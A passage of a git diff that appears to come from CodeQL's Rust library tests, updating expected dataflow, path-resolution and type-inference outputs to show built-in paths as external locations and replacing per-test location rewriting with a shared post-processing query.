main.rs:392:16:392:33 | [...] | +| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | +| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | +| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | +| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | +| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | +| main.rs:545:27:545:27 | 0 | {EXTERNAL LOCATION} | Some | main.rs:545:22:545:28 | Some(...) | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql index e3043d55bb6..21e45974529 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql @@ -8,27 +8,14 @@ query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { RustDataFlow::simpleLocalFlowStep(nodeFrom, nodeTo, "") } -class Content extends DataFlow::Content { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - ) - } -} - class Node extends DataFlow::Node { Node() { not this instanceof FlowSummaryNode } } -query predicate storeStep(Node node1, Content c, Node node2) { +query predicate storeStep(Node node1, DataFlow::Content c, Node node2) { RustDataFlow::storeContentStep(node1, c, node2) } -query predicate readStep(Node node1, Content c, Node node2) { +query predicate readStep(Node node1, DataFlow::Content c, Node node2) { RustDataFlow::readContentStep(node1, c, node2) } diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref new file mode 100644 index 00000000000..e3dd95c3e61 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref @@ -0,0 +1,2 @@ +query: DataFlowStep.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 806b0059093..054905f3909 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -1,4 +1,3 @@ -testFailures mod | lib.rs:1:1:1:7 | mod my | | main.rs:1:1:1:7 | mod my | @@ -77,7 +76,7 @@ resolvePath | main.rs:68:5:68:8 | self | main.rs:1:1:653:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | -| main.rs:78:16:78:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| main.rs:78:16:78:18 | i32 | {EXTERNAL LOCATION} | struct i32 | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | | main.rs:85:5:85:7 | my2 | main.rs:7:1:7:8 | mod my2 | | main.rs:85:5:85:16 | ...::nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | @@ -93,8 +92,8 @@ resolvePath | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | -| main.rs:125:13:125:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| main.rs:128:16:128:18 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| main.rs:125:13:125:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| main.rs:128:16:128:18 | i32 | {EXTERNAL LOCATION} | struct i32 | | main.rs:134:19:134:24 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:22 | MyEnum | main.rs:123:5:131:5 | enum MyEnum | | main.rs:137:17:137:25 | ...::A | main.rs:124:9:126:9 | A | @@ -351,19 +350,20 @@ resolvePath | my.rs:18:9:18:11 | my4 | my.rs:14:1:16:1 | mod my4 | | my.rs:18:9:18:16 | ...::my5 | my.rs:15:5:15:16 | mod my5 | | my.rs:18:9:18:19 | ...::f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| my.rs:22:5:22:9 | std | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/std/src/lib.rs:0:0:0:0 | Crate(std@0.0.0) | -| my.rs:22:5:22:17 | ...::result | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/lib.rs:356:1:356:15 | mod result | -| my.rs:22:5:24:12 | ...::Result::<...> | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | enum Result | +| my.rs:22:5:22:9 | std | {EXTERNAL LOCATION} | Crate(std@0.0.0) | +| my.rs:22:5:22:17 | ...::result | {EXTERNAL LOCATION} | mod result | +| my.rs:22:5:24:12 | ...::Result::<...> | {EXTERNAL LOCATION} | enum Result | | my.rs:23:5:23:5 | T | my.rs:21:5:21:5 | T | -| my.rs:28:8:28:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:29:8:29:10 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | +| my.rs:28:8:28:10 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:29:8:29:10 | i32 | {EXTERNAL LOCATION} | struct i32 | | my.rs:30:6:30:16 | Result::<...> | my.rs:18:34:25:1 | type Result<...> | -| my.rs:30:13:30:15 | i32 | file:///BUILTINS/types.rs:12:1:12:15 | struct i32 | -| my.rs:33:16:33:18 | Err | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:534:5:537:56 | Err | -| my.rs:35:5:35:6 | Ok | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:529:5:532:55 | Ok | +| my.rs:30:13:30:15 | i32 | {EXTERNAL LOCATION} | struct i32 | +| my.rs:33:16:33:18 | Err | {EXTERNAL LOCATION} | Err | +| my.rs:35:5:35:6 | Ok | {EXTERNAL LOCATION} | Ok | | my/nested.rs:9:13:9:13 | f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:15:9:15:15 | nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:15:9:15:18 | ...::f | my/nested.rs:3:9:5:9 | fn f | | my/nested.rs:21:5:21:11 | nested1 | my/nested.rs:1:1:17:1 | mod nested1 | | my/nested.rs:21:5:21:20 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | | my/nested.rs:21:5:21:23 | ...::f | my/nested.rs:3:9:5:9 | fn f | +testFailures diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.ql b/rust/ql/test/library-tests/path-resolution/path-resolution.ql index d04036f7b51..0fe49a8e386 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.ql +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.ql @@ -5,22 +5,7 @@ import TestUtils query predicate mod(Module m) { toBeTested(m) } -final private class ItemNodeFinal = ItemNode; - -class ItemNodeLoc extends ItemNodeFinal { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - .regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - ) - } -} - -query predicate resolvePath(Path p, ItemNodeLoc i) { +query predicate resolvePath(Path p, ItemNode i) { toBeTested(p) and not p.isFromMacroExpansion() and i = resolvePath(p) diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.qlref b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref new file mode 100644 index 00000000000..54a21bc91ab --- /dev/null +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.qlref @@ -0,0 +1,2 @@ +query: path-resolution.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 8e04a0c0752..ff33ad89cb8 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,4 +1,3 @@ -testFailures inferType | loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | | loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | @@ -6,7 +5,7 @@ inferType | main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | MyThing | | main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | S | -| main.rs:27:18:27:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:27:18:27:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:27:26:27:26 | x | | main.rs:5:5:8:5 | MyThing | | main.rs:27:26:27:28 | x.a | | main.rs:2:5:3:13 | S | | main.rs:32:13:32:13 | x | | main.rs:16:5:19:5 | GenericThing | @@ -14,7 +13,7 @@ inferType | main.rs:32:17:32:42 | GenericThing::<...> {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:32:17:32:42 | GenericThing::<...> {...} | A | main.rs:2:5:3:13 | S | | main.rs:32:40:32:40 | S | | main.rs:2:5:3:13 | S | -| main.rs:33:18:33:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:33:18:33:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:33:26:33:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:33:26:33:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:33:26:33:28 | x.a | | main.rs:2:5:3:13 | S | @@ -23,7 +22,7 @@ inferType | main.rs:36:17:36:37 | GenericThing {...} | | main.rs:16:5:19:5 | GenericThing | | main.rs:36:17:36:37 | GenericThing {...} | A | main.rs:2:5:3:13 | S | | main.rs:36:35:36:35 | S | | main.rs:2:5:3:13 | S | -| main.rs:37:18:37:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:37:18:37:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:37:26:37:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:37:26:37:26 | x | A | main.rs:2:5:3:13 | S | | main.rs:37:26:37:28 | x.a | | main.rs:2:5:3:13 | S | @@ -31,7 +30,7 @@ inferType | main.rs:41:17:43:9 | OptionS {...} | | main.rs:21:5:23:5 | OptionS | | main.rs:42:16:42:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:42:16:42:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | -| main.rs:44:18:44:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:44:18:44:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:44:26:44:26 | x | | main.rs:21:5:23:5 | OptionS | | main.rs:44:26:44:28 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:44:26:44:28 | x.a | T | main.rs:2:5:3:13 | S | @@ -43,7 +42,7 @@ inferType | main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | S | | main.rs:48:16:48:33 | ...::MyNone(...) | | main.rs:10:5:14:5 | MyOption | | main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | S | -| main.rs:50:18:50:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:50:18:50:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:50:26:50:26 | x | | main.rs:16:5:19:5 | GenericThing | | main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | MyOption | | main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | S | @@ -64,7 +63,7 @@ inferType | main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | S | | main.rs:56:30:56:32 | x.a | | main.rs:10:5:14:5 | MyOption | | main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | S | -| main.rs:57:18:57:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:57:18:57:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:57:26:57:26 | a | | main.rs:10:5:14:5 | MyOption | | main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | S | | main.rs:70:19:70:22 | SelfParam | | main.rs:67:5:67:21 | Foo | @@ -74,7 +73,7 @@ inferType | main.rs:74:32:76:9 | { ... } | | main.rs:67:5:67:21 | Foo | | main.rs:75:13:75:16 | self | | main.rs:67:5:67:21 | Foo | | main.rs:79:23:84:5 | { ... } | | main.rs:67:5:67:21 | Foo | -| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:80:18:80:33 | "main.rs::m1::f\\n" | | {EXTERNAL LOCATION} | str | | main.rs:81:13:81:13 | x | | main.rs:67:5:67:21 | Foo | | main.rs:81:17:81:22 | Foo {...} | | main.rs:67:5:67:21 | Foo | | main.rs:82:13:82:13 | y | | main.rs:67:5:67:21 | Foo | @@ -83,27 +82,27 @@ inferType | main.rs:86:14:86:14 | x | | main.rs:67:5:67:21 | Foo | | main.rs:86:22:86:22 | y | | main.rs:67:5:67:21 | Foo | | main.rs:86:37:90:5 | { ... } | | main.rs:67:5:67:21 | Foo | -| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:87:18:87:33 | "main.rs::m1::g\\n" | | {EXTERNAL LOCATION} | str | | main.rs:88:9:88:9 | x | | main.rs:67:5:67:21 | Foo | | main.rs:88:9:88:14 | x.m1() | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:9 | y | | main.rs:67:5:67:21 | Foo | | main.rs:89:9:89:14 | y.m2() | | main.rs:67:5:67:21 | Foo | | main.rs:100:25:100:28 | SelfParam | | main.rs:99:5:101:5 | Self [trait MyTrait] | | main.rs:105:25:105:28 | SelfParam | | main.rs:94:5:97:5 | MyThing | -| main.rs:105:39:107:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:105:39:107:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:106:13:106:16 | self | | main.rs:94:5:97:5 | MyThing | -| main.rs:106:13:106:22 | self.field | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:106:13:106:22 | self.field | | {EXTERNAL LOCATION} | bool | | main.rs:111:13:111:13 | x | | main.rs:94:5:97:5 | MyThing | | main.rs:111:17:111:39 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:111:34:111:37 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:112:13:112:13 | a | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:111:34:111:37 | true | | {EXTERNAL LOCATION} | bool | +| main.rs:112:13:112:13 | a | | {EXTERNAL LOCATION} | bool | | main.rs:112:17:112:17 | x | | main.rs:94:5:97:5 | MyThing | -| main.rs:112:17:112:32 | x.trait_method() | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:112:17:112:32 | x.trait_method() | | {EXTERNAL LOCATION} | bool | | main.rs:114:13:114:13 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:114:17:114:40 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | -| main.rs:114:34:114:38 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:115:13:115:13 | b | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:115:17:115:40 | ...::trait_method(...) | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:114:34:114:38 | false | | {EXTERNAL LOCATION} | bool | +| main.rs:115:13:115:13 | b | | {EXTERNAL LOCATION} | bool | +| main.rs:115:17:115:40 | ...::trait_method(...) | | {EXTERNAL LOCATION} | bool | | main.rs:115:39:115:39 | y | | main.rs:94:5:97:5 | MyThing | | main.rs:132:15:132:18 | SelfParam | | main.rs:120:5:123:5 | MyThing | | main.rs:132:15:132:18 | SelfParam | A | main.rs:125:5:126:14 | S1 | @@ -136,19 +135,19 @@ inferType | main.rs:152:17:152:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | | main.rs:152:17:152:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | | main.rs:152:30:152:31 | S2 | | main.rs:127:5:128:14 | S2 | -| main.rs:155:18:155:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:155:18:155:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:155:26:155:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:155:26:155:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:155:26:155:28 | x.a | | main.rs:125:5:126:14 | S1 | -| main.rs:156:18:156:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:156:18:156:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:156:26:156:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:156:26:156:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:156:26:156:28 | y.a | | main.rs:127:5:128:14 | S2 | -| main.rs:158:18:158:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:158:18:158:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:158:26:158:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:158:26:158:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:158:26:158:31 | x.m1() | | main.rs:125:5:126:14 | S1 | -| main.rs:159:18:159:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:159:18:159:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:159:26:159:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:159:26:159:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:159:26:159:31 | y.m1() | | main.rs:120:5:123:5 | MyThing | @@ -164,11 +163,11 @@ inferType | main.rs:162:17:162:33 | MyThing {...} | | main.rs:120:5:123:5 | MyThing | | main.rs:162:17:162:33 | MyThing {...} | A | main.rs:127:5:128:14 | S2 | | main.rs:162:30:162:31 | S2 | | main.rs:127:5:128:14 | S2 | -| main.rs:164:18:164:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:164:18:164:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:164:26:164:26 | x | | main.rs:120:5:123:5 | MyThing | | main.rs:164:26:164:26 | x | A | main.rs:125:5:126:14 | S1 | | main.rs:164:26:164:31 | x.m2() | | main.rs:125:5:126:14 | S1 | -| main.rs:165:18:165:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:165:18:165:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:165:26:165:26 | y | | main.rs:120:5:123:5 | MyThing | | main.rs:165:26:165:26 | y | A | main.rs:127:5:128:14 | S2 | | main.rs:165:26:165:31 | y.m2() | | main.rs:127:5:128:14 | S2 | @@ -307,11 +306,11 @@ inferType | main.rs:320:24:320:40 | MyThing {...} | | main.rs:170:5:173:5 | MyThing | | main.rs:320:24:320:40 | MyThing {...} | A | main.rs:185:5:186:14 | S3 | | main.rs:320:37:320:38 | S3 | | main.rs:185:5:186:14 | S3 | -| main.rs:324:18:324:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:324:18:324:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:324:26:324:33 | thing_s1 | | main.rs:170:5:173:5 | MyThing | | main.rs:324:26:324:33 | thing_s1 | A | main.rs:181:5:182:14 | S1 | | main.rs:324:26:324:38 | thing_s1.m1() | | main.rs:181:5:182:14 | S1 | -| main.rs:325:18:325:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:325:18:325:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:325:26:325:33 | thing_s2 | | main.rs:170:5:173:5 | MyThing | | main.rs:325:26:325:33 | thing_s2 | A | main.rs:183:5:184:14 | S2 | | main.rs:325:26:325:38 | thing_s2.m1() | | main.rs:170:5:173:5 | MyThing | @@ -321,7 +320,7 @@ inferType | main.rs:326:22:326:29 | thing_s3 | | main.rs:170:5:173:5 | MyThing | | main.rs:326:22:326:29 | thing_s3 | A | main.rs:185:5:186:14 | S3 | | main.rs:326:22:326:34 | thing_s3.m1() | | main.rs:185:5:186:14 | S3 | -| main.rs:327:18:327:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:327:18:327:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:327:26:327:27 | s3 | | main.rs:185:5:186:14 | S3 | | main.rs:329:13:329:14 | p1 | | main.rs:175:5:179:5 | MyPair | | main.rs:329:13:329:14 | p1 | P1 | main.rs:181:5:182:14 | S1 | @@ -331,7 +330,7 @@ inferType | main.rs:329:18:329:42 | MyPair {...} | P2 | main.rs:181:5:182:14 | S1 | | main.rs:329:31:329:32 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:329:39:329:40 | S1 | | main.rs:181:5:182:14 | S1 | -| main.rs:330:18:330:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:330:18:330:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:330:26:330:27 | p1 | | main.rs:175:5:179:5 | MyPair | | main.rs:330:26:330:27 | p1 | P1 | main.rs:181:5:182:14 | S1 | | main.rs:330:26:330:27 | p1 | P2 | main.rs:181:5:182:14 | S1 | @@ -344,7 +343,7 @@ inferType | main.rs:332:18:332:42 | MyPair {...} | P2 | main.rs:183:5:184:14 | S2 | | main.rs:332:31:332:32 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:332:39:332:40 | S2 | | main.rs:183:5:184:14 | S2 | -| main.rs:333:18:333:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:333:18:333:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:333:26:333:27 | p2 | | main.rs:175:5:179:5 | MyPair | | main.rs:333:26:333:27 | p2 | P1 | main.rs:181:5:182:14 | S1 | | main.rs:333:26:333:27 | p2 | P2 | main.rs:183:5:184:14 | S2 | @@ -361,7 +360,7 @@ inferType | main.rs:336:17:336:33 | MyThing {...} | A | main.rs:181:5:182:14 | S1 | | main.rs:336:30:336:31 | S1 | | main.rs:181:5:182:14 | S1 | | main.rs:337:17:337:18 | S3 | | main.rs:185:5:186:14 | S3 | -| main.rs:339:18:339:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:339:18:339:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:339:26:339:27 | p3 | | main.rs:175:5:179:5 | MyPair | | main.rs:339:26:339:27 | p3 | P1 | main.rs:170:5:173:5 | MyThing | | main.rs:339:26:339:27 | p3 | P1.A | main.rs:181:5:182:14 | S1 | @@ -380,14 +379,14 @@ inferType | main.rs:343:17:343:17 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:343:17:343:17 | a | P2 | main.rs:181:5:182:14 | S1 | | main.rs:343:17:343:23 | a.fst() | | main.rs:181:5:182:14 | S1 | -| main.rs:344:18:344:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:344:18:344:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:344:26:344:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:345:13:345:13 | y | | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:17 | a | | main.rs:175:5:179:5 | MyPair | | main.rs:345:17:345:17 | a | P1 | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:17 | a | P2 | main.rs:181:5:182:14 | S1 | | main.rs:345:17:345:23 | a.snd() | | main.rs:181:5:182:14 | S1 | -| main.rs:346:18:346:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:346:18:346:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:346:26:346:26 | y | | main.rs:181:5:182:14 | S1 | | main.rs:352:13:352:13 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:352:13:352:13 | b | P1 | main.rs:183:5:184:14 | S2 | @@ -402,20 +401,20 @@ inferType | main.rs:353:17:353:17 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:353:17:353:17 | b | P2 | main.rs:181:5:182:14 | S1 | | main.rs:353:17:353:23 | b.fst() | | main.rs:181:5:182:14 | S1 | -| main.rs:354:18:354:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:354:18:354:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:354:26:354:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:355:13:355:13 | y | | main.rs:183:5:184:14 | S2 | | main.rs:355:17:355:17 | b | | main.rs:175:5:179:5 | MyPair | | main.rs:355:17:355:17 | b | P1 | main.rs:183:5:184:14 | S2 | | main.rs:355:17:355:17 | b | P2 | main.rs:181:5:182:14 | S1 | | main.rs:355:17:355:23 | b.snd() | | main.rs:183:5:184:14 | S2 | -| main.rs:356:18:356:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:356:18:356:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:356:26:356:26 | y | | main.rs:183:5:184:14 | S2 | | main.rs:360:13:360:13 | x | | main.rs:181:5:182:14 | S1 | | main.rs:360:17:360:39 | call_trait_m1(...) | | main.rs:181:5:182:14 | S1 | | main.rs:360:31:360:38 | thing_s1 | | main.rs:170:5:173:5 | MyThing | | main.rs:360:31:360:38 | thing_s1 | A | main.rs:181:5:182:14 | S1 | -| main.rs:361:18:361:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:361:18:361:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:361:26:361:26 | x | | main.rs:181:5:182:14 | S1 | | main.rs:362:13:362:13 | y | | main.rs:170:5:173:5 | MyThing | | main.rs:362:13:362:13 | y | A | main.rs:183:5:184:14 | S2 | @@ -423,7 +422,7 @@ inferType | main.rs:362:17:362:39 | call_trait_m1(...) | A | 